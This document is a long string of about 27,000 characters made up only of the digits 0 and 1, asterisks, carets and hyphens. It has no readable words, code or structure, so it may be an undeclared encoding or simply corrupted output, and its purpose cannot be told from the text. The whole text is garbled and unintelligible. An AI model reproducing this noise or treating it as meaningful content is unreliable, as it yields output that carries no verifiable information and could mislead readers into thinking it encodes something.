-01010-*-00^110101*^10110-0-11*101*001*1*1*^10110-0-11*101*001*1*---------^1*0-001011*0^1101******-01101101*1*00^1^^1*****01**0^1101**1*11*001*1*********00101*^-001**00--1*11*-*00--------0011011*0-001011*01101*0-11*1101*0-01*---------00-*-00^110101*^1********00110101*00^101*001*1*1*^110-*-11*101*001*1*--------^1*1*-001011*001011*********-*00^-001**00--101101*-*00--------^1^1*-001011*0^11*1101**011*0101**011*--------0010-1*-00^11*--------01010101*-001011*01*^1********-00-*001*01*001*1*********0-*0^-001**00---101*-*00--------1*0011*-001011*001101*1101*001101*********0-101********01101*1********0-101*******************^1*********0^1*********001^1*********010101********01*11********00^1*********0^1^1********0^^1********0011*0101*10^1*01011*00-1*011*001^1*001****01**0^110^--0101*001^1*001****01*****0--*1*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**010110101********^-11***01***1^1^1*********010101*11*00-----110--0-11*00-*01*001^1*01011*-----110--011*1*0-*01*001^1*^1101*****0011*-0110-**1*010^1********^10-*001*101*01*1*--------0^-1*-*011*0-11*-----110--01*11*0-*01*001^1*^1101*******^11****1*010^1*****01***^-*001*101*01*1*********10101*^-001**00--110-**1*0-----110--**01*-*01*001^1*00-*0011*0-01*--------1^-1*-*0-*-----110--*0^1*-*01*001^1*^1101*****00-1^^1*01*001*010^1*****01**0010-11*001*101*01*1*********10101*^-001**00--101101**1*0-----110--0-0101*-*01*001^1*0^1*-11*0011*010-*--------01^-*-00^1101**********101*00^1*^1********0110^1*00^^1*01*1*-----110--001^11*-*01*001^1*-01**********1*00-1^^11010-01*110101******0^-*010^10101010-11*1^1^-11*01**-*00--------01^-*-00^1101********00110^1*00^1*^1********010^11*001*001*01*1*-----110--^-11*-*01*001^1*10-**********1*0^-001**00--^-**1*0-----10--10101**0-*01*001^1*^110101*^1*11*-11*^1*01*1*1*^1********1*-1*00^^1*01*1*0011*001011*-----10--11*01*00-*01*001^1*1*^1*****01**0101***01*001*01*1*---------10-*-001*^110^^-11**1*01*1*-----10--1010-*00-*01*001^1*^110101*^-011*-11*101*001*1*1*^-00-0-11*101*001*1*********0^1*^-001**00--1^11**1*0-----10--11010101*0-*01*001^1*^11*0011*0^11*1101*001101*--------01^-*-00^1101********01*1011*00^1*^1********11*001*001*001*01*1*-----10--^10-*0-*01*001^1*-01*-11*********^1*0^-001**00--1*11**1*0-----10--1011*01*-*01*001^1*10101*-11*0011**-*1101**01101*011*-*00--------^10-*-00^110101011*0-11*1*^1********0-^1*001*11*001*1*-----10--110^101*-*01*001^1*^1101******1010-01011011*001*010^10--0-11*-*001*1*********0^1*^-001**00---011**1*0-----10--1**11*-*01*001^1*1101*0-11*0011*011011*-----10---0^11*-*01*001^1*00101*-11*00-00-0101******011*01*101******11**1*-**1******11**-0101**1**1*-11*110101******11*001*101******01****11*001******01**00110101*001*0011*-**1**1101101*011*-**11*00--------101*11*-00110110^-^--01********0010^11*00^^1101*10^1*****01**011*001*001*01*******010101010--*10^1*********0^1*001*01*******-1*10--*********00^1*001*01*******-1*10--001011*1*^1*^10-11*011*001*1*--------*011*00-*01*001^1*^1101*-*1*^1********1101^1*00^101*001*1*********1*1*^-001**00--101011**1*0--------010^1*0-*01*001^1**11*0011**011*0101*01*******001*0^1011*-01101*011*110101******0^-*0101******11**0011***1******11**0101011**1*1**--------1^-1*-*0011*--------0^-*0-*01*001^1*1011*0-11*********^1*0^-001**00---101**1*0--------001*01*-*01*001^1*^110101*1010-11*1*^10^1^-11*101*001*1*0011*001101******01**0-00-*****01***1011*********1*******01**0-1*********0010^11*****01****01*****001**0-00-*****01**01101*1*****001**1101******001***********************00^101******01**-^1********010101011********^1^1*****001**010-******1**010^11*****001**0-10101*****001**10101******001**-0101********01*1******01****01********0110^1*****001***-011*****01***10-********0^11*101*1*1*001*1*001*001^1*0-*0-11*0101*01^1*001*******010101010--0^1*01^1*001****01**001**0--*01*01^1*001*******0-11010--0-*001^1*001*******-1*10--0011*001^1*001****01*****0--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001***110101*****001**^-11***001**001^1^1*1*******0010101*011*****1011010101101***0101101************01*1**********0010101*11*001*1*------0-110-1101*-00-----^--1*11*00-*-*01^1*^110101*0010-11*1*^1*****01****01**^-1*01*1*--------1^-1*-*-1*-----^--^^1*0-*-*01^1*1*0^-11*********^1*0^-001**00---01*0-11*-*001*1*-----^--10-01*0-*-*01^1*^1101*****0010^1*001101**1*010^1*********1*1*001**1*1*1*-*001^1*-01*--------0^-1*-*1*^-11*-----^--00-11*0-*-*01^1*^1101*****00110101^1010-*001*010^1*****001***1***^1*1*1*1*********10101*^-001**00--101101*-*001*1*-----^--1101^1*-*-*01^1*1101101*-*1*^1**10-11*0^1*1*1*-*001^1*11011*0101*******10---011011**011*00--------0^-1*-001011*0-11*-----^--010-01*-*-*01^1*00-*-11*********^1*0^-001**00--101011*-*001*1*-----^--101^11*-*-*01^1*^1101*****001011*-^11**1*010^1********1101*1*001**1*1*1*-*001^1*10-*110101******11*01*0101******01**1^^1*001******01**10110101*00^-01*011*00--------1^-1*-0011011*-----^--00--*-*-*01^1*10-*-11*********^1*0^-001**00--^-*-*001*1*-----110---1**0-*-*01^1*^1101*****00101010-**1*001*010^1********10110101*001**1*1*1*-*001^1**11*--------1^-1*-00-01*-----110--101101*00-*-*01^1*-01*-11*********^1***01******1^11011***001*01*00--------1^-1*-00^11*-----110---*1*0-*-*01^1*^1101********001101011*00^1*^1*****01**01*011**^-1*01*1*********10101*^-001**00---101*-*001*1*-----110--01^11*0-*-*01^1**11*-11*-*001^1*00-*110101******0^101*0101******1**001011**001******1**0-*1**^-**11*00--------0^-1*-*0011*-11*-----110--0101*1*-*-*01^1*-1*0-11*********^1*0^-001**00---011*-*001*1*-----110--10-001*-*-*01^1*00-*-*001^1*^11*0101*00101****1**001010^1^-0--------1^-1*-*0-*-----110--00101101*-*-*01^1*01101**********1*0^-001**00--1*11*-*001*1*-----110--011*11*-*-*01^1*01011*-*001^1*1101*0-11*01010^1*******001*0^1011*101101*--------1^-1*-*1011*-----110---11011*-*-*01^1*^1101*****00-*1^-01**1*010^1*********00101*001**1*1*1*********10101*^-001**00--10101*0-11*-*001*1*-----110----11*-*-*01^1*00101*-11*-*001^1*01011*1101*01*******001*0^1011*10-1*--------^10-*-00^1101*****00101*011*-**1*010^1*00^-11*1*1*1*1*-----10--101*1*00-*-*01^1*^11*-11*********^1*0^-001**00--1^11*-*001*1*-----10--1101011*00-*-*01^1*^110^1*010-11*1*^1*****01**011*11**^-1*01*1*-*001^1*0101*0-11*01010^101*001*1*-----10--10-001*0-*-*01^1*0011*0-11*101*001^1*0101****1**001011*-10110^101^-*101**01101*01**110101******10-01*0101*0-*-11**-00-11*^1*0110101******0-11*00101******1**0-011**01******1**01*01**0^101*00^1*0-----10--10--*0-*-*01^1*01011*-11*110101******11*01*0101******1***-01**1******1**001*11**^-01*^1*0110101******0^101*0101******11***-1**1******11**10^1**01*01*001*1*^1*0-----10--101010101*-*-*01^1*^1101*****001^10-11*01*001*010^1********0-0101*001**1*1*1*110101******0^101*0101******01**10110-*001******01**1*1101*00^11**^1**1*001^1*1*******001*0^1011*1*01*-11*1011*00101****1**0^11*1^-0--------00110-*-00^110^11*10-11*1*^-001010-11*-1*01*1*-----10--^110-*-*-*01^1*0-*0-11*********^1***01******1^11*001**001*01*00--------0^-1*-*1101*-11*---------**00-*-*01^1*-01**********1*0^-001**00--1^1*0-11*-*001*1*--------01011**-*-*01^1**01*-11*-*001^1*0-1*110101******0-11*00101**********0101*001*********1101101*00^101**11*00--------0^-1*-**1*-11*--------0-11*00-*-*01^1*1101*0-11*********^1*0^-001**00--110-*-*001*1*--------1*101*0-*-*01^1*0^1*-11*-*001^1*^1*0-11*01010^1*******001*0^1011*101101******01***11*1*****001**00^1******11***1******0011**01*1******11**^-******01***0-1*****01***0^11*****001**-1011******1**0^1101*****011**^-********00-00-*****01**01^101*****001**0--11*****001**0-11******1***0011******1**01^^1*****01**001^11********0110-01********00101******01**001011*********110^1*****001**001*-********011*01*****001**010^11*****01**0-01*********0-01********************0-11*****011**001011****************001***0^11*****001***1^1*****01**0-1^1*****001**0110101********0-*********0010^11*****001**0-01101********10^^101*^-*01*1*0-*01^1*0101*0-11***********0010-01101^1******11**0-10-0-011011*001^1**1*0--------1*1101*-001101*01^1*^110101*^-*110-11*0011*01*1*1*^1********^10101*001*011*01*1*0011*00101****1**001011*-10110^101^-*101**01101*01**110101******10-01*0101******01**-*11*001******01**11*-*001*11********************01^11********0011011*********11011**********011*******************0011*00101*101101*01*1*1101*01^1*01101******01**01^1*^-001**00--10-1*-*001*1*******1*0010-1*00-00-*001^1*01101**********1*********011*********************001**********01*********0101*00101*10^1*01*1*^1*01^1**11*0011*01^1*001****01**0-010^--00^1*1^1*001****01**001**0--01*1*1^1*001*******010101010--*001*1^1*001*******-1*10--0-1*01^1*001*******0-11010--001101*01^1*********1***-001*1***001**011010101******1*001010^1**00101***1^11011*************101011**00101*0-01^1**01^101***1********001*1*****010101*011*01*1*------0-11*-11*-00-----10--1^^11*-0011011*1^1*^1101*****0010^1*0^1**01*010^1********10--*00^1*1*1*1*--------1^-1*-*1101*-----10--^^-*-0011011*1^1*00-**********1*0^-001**00--^-*1011*01*1*-----10--10110-1*-0011011*1^1*0-*0-11*1011*01^1*-01*--------0^-1*-*-*0-11*--------^1**0-0011011*1^1*^110101010-0-11*1*^^110^-11*1^1*1*1*********-1*0^-001**00--101101*1011*01*1*--------01*1*00-0011011*1^1*^11010^11010-11*1*^11*1^-11*1^1*1*1*1011*01^1*01011*1101*0110101******1*1**101******01**^-1**1******01**^1011**^11**011*00--------01^-*-00^1101********01*^1*00^1*^1********10^101*001*^1*1*1*--------^1101*0-0011011*1^1*^1*0-11*********^1*0^-001**00--1^11*1011*01*1*--------0011011*0-0011011*1^1*1*^--110-11*0^1*1*1*1011*01^1*11011*01010^-*00--------01^-*-00^1101**********-*00^1*^1********1101*1*00^1^1*1*1*--------*0^1*-0011011*1^1*11011**********1*0^-001**00--101011*1011*01*1*--------01*101*-0011011*1^1*-1*0-11*1011*01^1*00-*01010^1*******001*0^1011*101101*********-*********001^1*********--01******************00^^1********0010-********001^^1********-1011********01^^1********1^1*********-01011*********-********************110-********1^1101********1*-1********00110-********1*1*101*1011011*1*1*11011*1^1*1011*0-11*00-0110101******001^^-11011*01*01*1*--------1^-1*-*0-*--------1*0011*-00^11*1^1*^1101*****001*1*--1**^1^^1*****01**011011**001*0101*1*1*********10101*^-*001*01*1*********^101********00^101*********1*1***************************************************0-*00101*10^11*1*1*^11*1^1**11******01***00^110-01^11*01^1*1101*01*1*1101*01^1*011****001**0110-1*101*101*01*1*^1*01*1*--------^10101*-*1101*1^1*^110101011*0-11*1*^1**10-11*-01*1*1*0101*01^1*110101******1*1**101******11**0110^1*001******11**011*01*001*01*001*1**1*01*1*^1*01^1*110101******1*1**101*********1011011*001*********10^11*00^^1**01*01*1*********-*1*********0-********00-*1******************************00-*********11*00101*^1101*1*1*01101*1^1**11**1*01^1*0101****1**011*0101^-0--------01^-*-00^1101******11*11011***01*010^1********11010101*00^1*1*1*1*-----110--^10101*-00-1*01^1*00-**********1*00-1^^11010-01*^101^-*101**-*001*1*-----110--10-101*-00-1*01^1*^110^-^--0^1*010-11*-1101*1**010^1*********^11*001*01*******010101010--*********0^11*001*01*******010101010--******101*0101*11*001*010^1*****001**10-**00^1*1*1*1*-*001^1**11010-01*-*001*1*-----110--1^-1*-00-1*01^1*^11*00-0010^10-*01101*^-1*001*1*101*001*1*1*^-1*001*1*001*001*1*-*001*1*001*001*1*-----10--^11**0-00-1*01^1*^1101*******---1**01*010^110^110-11*1*1*1*1*00-0010^10-*01101*^-1*001*1*101*001*1*1*^-1*001*1*^1*0-*001*1*^1*0-----10--1101101*00-00-1*01^1*^1101*****00^1010110-101*00^1^^-0^10-11*00101*1*1*-*001^1*01101*--------^10-*-00^1101*****00^10-00-11**^1^^11*0110-11*00101*1*1*-----10--10^101*0-00-1*01^1*00101*-11*********^1*00-1^--00-11*011*001*1*-----10--^^11*0-00-1*01^1*^110101*^-0^10-11*1^1*1*1*1*^1********0011*1*00^1^1*1*1*011*001^1**11010-01*011*001*1*-----10----11*0-00-1*01^1*^1101*********0-11*00^1*^1********00^101*001*^1*1*1*00-001011****001**10^-*101*--0-11*11*110-11*00-010-11*011*001*1*001*001*1*00-001011****001**10^-*101*00^10-11*10101010-11*01101^-11*011*001*1*^1*0-----10---001101*-00-1*01^1*0011*0-11*011*001^1*01101*-----10----101*-00-1*01^1*^1101******^1*1*11**01*010^1*****001**^101**0^1*1*1*1*101*001^1*110101******1*1**101******01**001*01*001******01**0010^1*00^11***1**1*001^1*1*******001*0^1011*1**10-11*1011*01*******001*0^1011*1**10-11*0011*00101****1**010-^1^-001**-----10-----*-00-1*01^1*-01******001**011011**001********^1***01*01*00--------0^1**-00-1*01^1*^1*0-11******001**00110101^-001**00---011*1011*01*1*--------10^1*00-00-1*01^1*1^1*-11*1011*01^1*^11*0101*00101****1**01*00101^-001**--------0^-1*-001^1*-11*----------*00-00-1*01^1*^1101*****0010101^1^-1*001*010^10-1*-11**01*1*1*********0^1*^-001**00--1*11*1011*01*1*--------1101101*0-00-1*01^1*0-1*1011*01^1**11*--------0^-1*-00^1*0-11*--------1011011*0-00-1*01^1*01011**********1***01********10-***1*01*00--------1^-1*-*-1*--------011*01*-00-1*01^1*-1*0-11*********^1*0^-001**00---101*1011*01*1*******1*0011***-001011*01^1*01101******01***^-*****01**0-1101*********-11********001*-********00-11*********01*********01*01*******************00-0-*****01**010-1******1**01011*********0^1011********0-1*1********011*1*****001**01010^1*****001**1101******001**001*1********00110-******1**00-0101*****01***10-********001*101*****01***^-********01101*101*10-1*01*1*-1*01^1*0-*0-11*00101*1^1*001****01**0^110^--01^1*1^1*001****01**0-010^--00^1*1^1*001****01*****0--01*1*1^1*001*******010101010--*001*1^1*001*******-1*10--0-01*1^1*001*******0-11010--001101*01^1*********1***-001*1***001**001010101******1*00-00101**00-***1^11011*1*******0010101*11***1**101010-1*-1*00101*11*****01*******0010101*011*00-*001010^-110-011**1^101***********0-*1********10101*0101*1*1*-----1*--0^1*00-00--------*1011*0-*1^^1^1*^1101******-11011*001**^1^^1*****01**00101101**1*1011*1*1*^--1010^10-***0-0101*1^^1^1*^1101******-010101101101*001*010^1*-10-11*10-*1*1*-1**110^1**00--11011*0-11*10101*1*1*-0^-0101*1^^1^1*0-1*10101*1^1*-01*^--10101*-1*01*10-0101*1^^1^1*^1101******11*10-***01*010^-001^-11*10-*1*1*-1**110^1**00--101101*10101*1*1**-0-0101*1^^1^1*1101*0-11*10101*1^1*1011*0-11*01010^1*******001*0^1011*101101*********1*1********************10101*********^11********001*011*******************1*1*********01^11********0-*********001*1********************01^1*********11*0101*^1^^1*1*01^^1^1*-01****-101101^1********0011*10110-01^101*1^1*011****001**0^-1*10^^11*101*001*1*1^1*1*1*1011*01*1*-*0-0101*0^^1^1*^1101*****00101*0-*001*001*010^1*00^-11*10-*1*1*0101********101*0101*11*****1**0101101*10^110110^-1*011*001*1*001****001****^--01^1*1*1*0^1*1*1*1^1*1^1*1*******001*0^1011*-0110^-1*011*001*1**-0-0101*0^^1^1*^11*0^1*1^1*011****001**1*-1*101*101*01*1**1*01*1*1*1*1*1*1*1*1^1*011****001**1^-1*101*101*******01*10-101^101****01***^10-10110^1*011***********011**********01*******************010^1*********110101*********^11*******************-*00101*1*^^1*1*00^^1^1*01101*********0^^1**1********^1***01*101*01*1**************************************************************0101*00101*^1*^1*1*01*^1^1**11*********00-10110-01101^1******1**001*11010-01^101*1^1*011****001**0^-1*10^^11*101*001*1**01*1*1*1011*01*1******01**01010-010-01^101*1^1*011****001**0^-1*101*0011*101*001*1**01*1*1*1011*01*1*0110--010^10-*--------10-1*00-**0^1^1**11**1**110^110101******11011**101******01**^11**001******01**11***001*11*******011**00101*-1*-*001011010101*01101*1**01*1*010-11*001*00--------00^11*0-**0^1^1*^11*110101******00^1*00101******1**001*01**1******1***1^1**1*11****001*****00101******01**0011*1*001******01**10-101*00^1101101**01**1****************0011*1*01101^11*001*1**01*1*1*-1*01*1**01*1^1*1*******001*0^1011*-0110^-1*011*001*1*01^10-0101**0^1^1*-01*-1*01^1*011****001**1*-1*101*101*01*1**1*01*1*0-*01*1*0-*01^1*011****001**1^-1*10^110101******01^101*101******11**00101**001******11**101*1**1*101****01***^10-10110^1*011*********************-0101*******************-0101********00-101********1*-********01101^1********-101********001101^1********^1*0101*1**^1*1**00^1^1*0-1*********1010-1**1********10-***1*101*01*1*-----1^---^1*-00-01*1^1*0^1*-11******01**0011*-00-*101****01**001^10-10110^1*011**-----1^-1^101101*-00-01*1^1*^1101*****001^101*1***0^1^^1*****01**00^1**001*1011*1*1*110101******011**00101******11***00-*001******11**11010-*001*011*01*1*01101*1011*01*1*011**1**1011*01^1*1*******001*0^1011*1*11010-01*^11010-01*0011*01*1*-----1^-1^110-*-00-01*1^1*^1101*****00^1*1*0^1*00^1^^--010-11*01011*1*1*0101**0110^1011*011**011*01^1*011********11**101******1***-011*001******1**00-0-*001*11**1**-----1010--0101**-00-01*1^1*0101*0-11*0101**01101*0110101101*01*1*01011*011*001101*01^1*011********11**10^11011*-01^-11*011**1**-----1010--*11*00-00-01*1^1*01101*-11*0101**0110^1011*011**1^1*11********11**101******11**-01011*001******11**10^-*001*11**1**-----1010-11*0101*0-00-01*1^1*0-*0-11*0101**0110^1011*011**101*01^1*011********11**101******11***001**01******11**0^1**001*11**1**-----1010-11*0-*0-00-01*1^1*00101*-11*0101**01101*011010^1*01*1*01011*011*00^1*01^1*011********11**101******1***10-**1******1**0011*1**1*11**1**-----1010--^^1*-00-01*1^1*1*^^-*0-1*1*1*0101**011010-*001*1*011*00110101******011**00101******01**0110-1*001******01**10--*00^-*001*1*01101**1*01*1*011**1**-----1010--00-01*-00-01*1^1*^1101*******1*-011**01*010^1*****01***-01**^10-*1*1**1*01^1*1*******001*0^1011*1*11010-01*^11010-01*-*001*1*0101**0110^1011*011*00-----1010---1011*-00-01*1^1*1^1*-11*-*001^1*011********11**101******01**110-01*001******01**^1*1*001*11**1**0101**0110^1011*011*00-----1010----1*-00-01*1^1*^11*-11*011*001^1*011********11**101******1**010-001*001******1**0-10101*001*11**1**0101**0110^1011*011*00------0---1**-00-01*1^1*^1101*11*0-11*1*^1010-00-11*00-*1*1*101*001^1*011********11**101******01**11010101*001******01**^1^1*001*11**1**0101**01101*1*001*1*011*00------0-11011*1*0-00-01*1^1*-00^-11*01^^110101******010-01*10^1*1*-11*1*1010-11*001*001*1*011**1**011*******10101**101******1**00^-1*001******1**01*0011*001*101**0110^1011*011*00------0-11*0-*0-00-01*1^1*10^^-11*001*001^1*011********11**101******01**1010-1*001******01**-*11*001*11**1**0101**0110^1011*011*00------0-11*0^1*-00-01*1^1*1*1*-11*01^1*11****011**0-^1*101******1**01^1**001******1**0-11**001*11**1**0101**01101*001*-11*011*00------0-11*01101*-00-01*1^1**00^-11*1011*0110101******10101**101******01**01010101*001******01***-11*00^1*********001*11*1*1*0011****011**1*-*0101*-**^^110101011*101**^10-*******************001101*01*01*101******0011*011*10^-**1**0^1*------0--1010-*-00-01*1^1*^1101*-*-11*1*^1********101*11*001*0-*1*1*110101******011**00101******11**11*-*001******11***10-*001**1*-11*01101*-**11**1**1101*01*******001*0^1011*1*01*-11*-----^--01011**-00-01*1^1*-01*******1*001101*1^-001**00--^11*0-11*10101*1*1*-----^--101101*00-00-01*1^1*-10^-11*10101*1^1*0011*0-11*01010^1*******001*0^1011*101101*1010--010^-10^-11*-----^--101*1*0-00-01*1^1*^110101101*0-11*1*^1*****01**00^^1*00^11011*1*1*0^1*00110^1**00---01*0-11*10101*1*1*-----^---1101*0-00-01*1^1**10^-11*10101*1^1*11011*-----^--1101011*0-00-01*1^1*^1101*****00101101**0101*00^1^^11*1010-11*01011*1*1*-10-11010^^110^10-00-11*1*^101^110-11*0-1*1*1*-----^---*01*-00-01*1^1*10110^-11*^1**110^1**00--101011*10101*1*1*-----^---0^1*-00-01*1^1*^1101******^10^1*11**1*010^1*****01**001101101*00^10-*1*1*10101*1^1**11*0101*001101*00110-11010^^110^1^110-11*1*^1*****01***0101**0^11011*1*1*-----^--0-1101*-00-01*1^1*1*^1011*10-11*11011*1*1*0011**110^1**00---101*10101*1*1*-----^--1*1011*-00-01*1^1*01101*10101*1^1*0101*0-11*0101**011*-11*0110--0101*1101*-----^--11*-*-00-01*1^1*0-1**1**110^1**00--1^1*0-11*10101*1*1*-----^--1^-1*-00-01*1^1*^110^1011010-11*1*^--010-11*0-1*1*1*10101*1^1*0-1*0110--0101*-1*-----110--*1**0-00-01*1^1*^1*0-11*^1*010110^110101******11011**101*********0011011*001*********1*011*001*11****011**0011*1*101*^11*1*11*1^110-11**01*******************01**01*0^-01*001**110--010^^11*-----110--010-*00-00-01*1^1**01*-11*^1**110^1**00--110-*10101*1*1*-----110--010^1*0-00-01*1^1*^1101*****00^---1011*001*010^1*****001**1*001**^10-*1*1*10101*1^1*00-*0110--0101*-1*-----110--10^11*0-00-01*1^1*0011*0-11*^1*010110^110101******11011**101******11**11010-*001******11**1*-1*001*11****001***1^1*10^11011*01*11011**-1^10-0011*001*0101*001*001010--010^1101*0-11*-----110--*0^1*-00-01*1^1*1*^1*01010-11*00-*1*1*0011**110^1**00---011*10101*1*1*-----110--11*101*-00-01*1^1*1011*0-11*10101*1^1*^11*0110--0101*0-*-----110--0^1101*-00-01*1^1*00101^-11*^1**110^110101******11011**101******11**1011011**1******11**-0-**1*11*******011**00101*0011*-*00101101011*001^101011*001*10-10-11*001*001010--010^1011*0-11*-----110--0-1011*-00-01*1^1*01*^-11*^1**110^1**00--1*11*10101*1*1*-----110--0-0-*-00-01*1^1*00^^-11*10101*1^1*^1*0-11*1010--0101*0110^-11*-----110----11*-00-01*1^1**01^-11*^1**110^110101******11011**101******1**0010-1**1******1****11**1*11*******011**0010^-01*-*001011010101*0-10101**0^1^-0-11*001**0110-11010^^1101********010110101*00^1*^101^^-11*00-*1*1*-----10--^1011*00-00-01*1^1*11011**1**110^1**00--10-1*10101*1*1*-----10---*01*0-00-01*1^1*10101*-11*10101*1^1*01011*0101**^^-11*1010--010^10101*-11*-----10--10110101*0-00-01*1^1*1*^-01*0-11*11011*1*1*0011**110^1**00--1^11*10101*1*1*-----10--1^1011*0-00-01*1^1*^1101*****00^10-0101011**1*010^^110^-11**11*1*1*10101*1^1*1101*0-11*-----10----11*0-00-01*1^1*-01*^10-11010^^110101*^-001010-11*11011*1*1*1*^1*****01**0-^11*00^11011*1*1*-----10---10^1*-00-01*1^1*^1101*****0010-11*--*001*010^1********001*01*001*0011*1*1*10101*00110^1**00--10101*0-11*10101*1*1*-----10--^101101*-00-01*1^1*^1101******00-01*011**0^1^^1*****01**0--1**1*1011*1*1*10101*1^1*10-*10110-110101*10110^1011*1*^1*****01**00-011**^^11*1*1*-----10--1*11011*-00-01*1^1*11010^-11*^1*010110^110101******11011**101******01**1*1101*001******01**11010101*001*11****01**01*001*0101*01*0011011010^1*0010^1101^101*001*0-*001**01**0110-11010^^1101*******01**101**1*010^101011*-11**11*1*1*--------1011**0-00-01*1^1*0-1*-11*^1**110^1**00--^-*10101*1*1******0-**1101011*-0010101*1^1*01101******01**00110-******01**11*******11**010-*********0-101*****01**0010101******01***-11*****0101*00^-******01***10101*****001**00^-********^1101****************011**1101*******1**011*11*****011**-11011********0-^1*****011**10101101*****01**0-011******01***^1*****001**0110^1********01^1011*****011**1010-*****00101*001*-********010^1******101*001*-******1**0010-******01**^^1*****001**0-*1******1**1^1******001**011011******1**11010-******1**010-1********01*-******1*0010101101******1**11*1*****00101**11*01*****011**1010^1*****01**00-0-*********1*******01*0010101011*****01**001*001*****01**011*011*****01**011011011*****0101***1******001***001******01**101*1********001^101*****01**0^1^1********0--1*****001**010-01*****001**0^11********001*-*****0011**1101*******1**0010101********010101^101*10-01*1*1*-01*1^1*01010^-11*0-1*1^1*001****01*****0--010-*1^1*001*******010101010--*-*1^1*001****01**0-010^--011011*1^1*001*******0-11010--001011*1^1*001****01**0^110^--0^11*1^1*001****01**001**0--*011*1^1*001*******-1*10--001101*01^1*1**11010^1*1***001**0^10101******01*0010-11***001**001^11011******0010101*-*01*1*0-*01^1*-1*01*1*011****001**1^1^-101^11*******011**0010^10-*-*001011010101*01101*01**1*0-110-11*-1*01*1*-----1*-1101*011*-*^1*1^1*^1101010101*-11*1*^-1^10-11*^11*1*1*011****001**^-00-1011*1*001*1*-1*01*1*011****001**-01^-101^11*00-1*01*1*011****001**10101^-10110^1*01*1*-1*01*1*-1*01^1*011****001***01^1^-0-----1*-110^-1*-*^1*1^1*^1101******11010-11011**0^1^^1*********0^1*00^-01*1*1*0101*01011*01*1*-----1^-110101**0-*^1*1^1*00-*1011*01^1*0101******0011011*-101^11****011**0011*1*101*^11*1*110101^-001*1*001*******************0011*001*0^11011*011****011**10-001*10^1101**-1*^^10-001**1*0101**11*00101*-11*0101********1101*10^1101*01*1*-----1^-1101*01*0-*^1*1^1*10101^-11*0101**11*01*1*0011*01^1*0101******001011*-1101101101*01*1*0101*******011*1*10^^10-11010^^1101********0-00-*00^1*^1*****01**00--**1*0011*1*1*-----1^-1^11011*0-*^1*1^1*0011*0-11*^1**1101*11****001**0010-1*10^1101*01*1*1101**0110^101*01*1*-*00-----1^--1*001*-*^1*1^1*-11*-11*011*****1*00-10101*101*101*01*1*01101*1101*01*1*-**1**001****001**--*--01101*01^1*1*******001*0^1011*1*11010-01*^11010-01*0101*01*1*-----1^-1101010101*-*^1*1^1*00^^-11*1101**0110^1011*-**101*01^1*011*****1**1010101*10^-**1**001****001**0-11*--01101**01101*01*01*1*-*00-----1^-11010^11*-*^1*1^1*00-*-11*^1*01^1*110101******010-01*101******11**00-**001******11**00-01**1*001*01*1*-**1**011*******10101**101******01**0--1*001******01**101^11*00^1101**01101*-00--01*110^-11*0101101*10^110-*-11*001*******-1*10--01*^1*****01***-01**1*01*******0-11010--*****001***-01**1*01*******0-11010--001011*-*00-----1010--0-**-*^1*1^1*^1101******-1*-***0^1^^10--0-11*-01*1*1**1*01^1*011********11**101******01**1*1**001******01**11*1**0^-**1**1101**011010-*001*1*-*00-----1010--11*1*0-*^1*1^1**11*-11*01^^110101******010-01*101******11**00110101*001******11**00110-*00^-*001*1*-**1**011*******10101**101******1**00101*1*001******1**0^-01*00^1101**0110^1011*-*00-----1010--110-*0-*^1*1^1*1*0^-11*-*001^1*011********11**101********00110-11*001********00^^11*00^-**1**1101**0110^11*001*1*-*00-----1010-11*1^1*-*^1*1^1*1*^^1*10-11**11*1*1*01^^110101******010-01*101******11**1*0011*001******11**1**1*001*11*001*1*-**1**011*******10101**101******11**^-**01******11**0101***^1101**0110^1011*-*00-----1010--10^11*-*^1*1^1*^11*-11*011*001^1*011********11**101******1**001^-*001******1***101011*00^-**1**1101**011010101*001*1*-*00-----1010-1^110-*-*^1*1^1*^1101*****0010--0^101**1*010^1*****01**0010101**0^1^1*1*1*01^^110101******010-01*101******1**0-0101**1******1**0-01**00^101*001*1*-**1**011*******10101**101******01**^-01*001******01**0101*1*00^1101**0110^1011*-*00------0-11*101*00-*^1*1^1*^1101******10-11010^1**1*010^1********1101*1*00^1^1*1*1*101*001^1*011********11**101******1**01^101**1******1**01*011**^-**1**1101**011010^1*0-*00------0-1^10101*0-*^1*1^1*1101101*-*1*^1*00^-11*01101*1*1*001*001^1*110101******010-01*101******11**^^1**1******11**^1***^^1*0-**1**011*******10101**101******1**0^10101*001******1**00101^1*00^1101**0110^1011*-*00------0--001*1*-*^1*1^1*^110101*^1********0--1*001*0011*1*1*1*^1*****01**011***001*0011*1*1*1011*0011********11**101******1***1^11*001******1**00--1*00^-**1**1101**0110^1011*-*00------0--1101101*-*^1*1^1*11011*-11*01^1*11****011**0-^1*101******01***01**001******01**00-**00^-**1**1101**0110^1011*-*00------0-1101101011*-*^1*1^1**10^-11*01^1*11****011**0-^1*101*********1010-*001*********1^-*00^-**1**1101**0110^1011*-*00------0--010-1*-*^1*1^1*01^^-11*01^1*11****011**0-^1*101******11***-**01******11**001011**0^-**1**1101**0110^1011*-*00-----^--00101**-*^1*1^1*00110^-11*01^1*11****011**0-^1*101******11***10101*001******11**00^101*00^-**1**1101**0110^1011*-*00-----^--1^11*00-*^1*1^1*^1101********00--1*00^1*^1********011*01*001*1101*1*1*01^1*11****011**0-^1*101******11**10101011*001******11**^11011*00^-**1**1101**0110^-1*-*001101**0110^1011*-*00-----^--01*11*0-*^1*1^1*1*1*-11*01^1*11****011**0-^1*101******01***1011**1******01**00^11**^-**1**1101**0110^1011*-*00-----^--1**1*-*^1*1^1*11*^-11*-----^--0101*1*-*^1*1^1*^1101**********101*00^1*^11*1*-11*01101*1*1*0110--0101*0011*-----^---1^1*-*^1*1^1*1101*0-11*^1**110^1**00---01*0-11**01*1*1*-----^--*01101*-*^1*1^1*^10^-11**01*1^1*-01*00110-11010^^1101*****001010-0011*01*001*010^1*01^-11*10101*1*1*-----^--^^11*-*^1*1^1*01101^-11*^1**110^1**00--101101**01*1*1*-----^--^11011*-*^1*1^1*0-1*-11**01*1^1*^11*01^1*11****011**0-^1*101********00--01*001********001^1101*00^-**1**1010--0101*-1*-11*-----^--110-11*-*^1*1^1*^1101*101*-11*1*^1********1**1*001*1101*1*1*0^1*00110^1**00--1*11**01*1*1*-----110--00101**-*^1*1^1*0^1^-11**01*1^1*01011*1101**0110^1011*-*001010--0101*^1^-11*-----110--*101*00-*^1*1^1*^1101*****0011*011011*11*001*010^--010-11*10101*1*1*0^1*00110^1**00--1^11*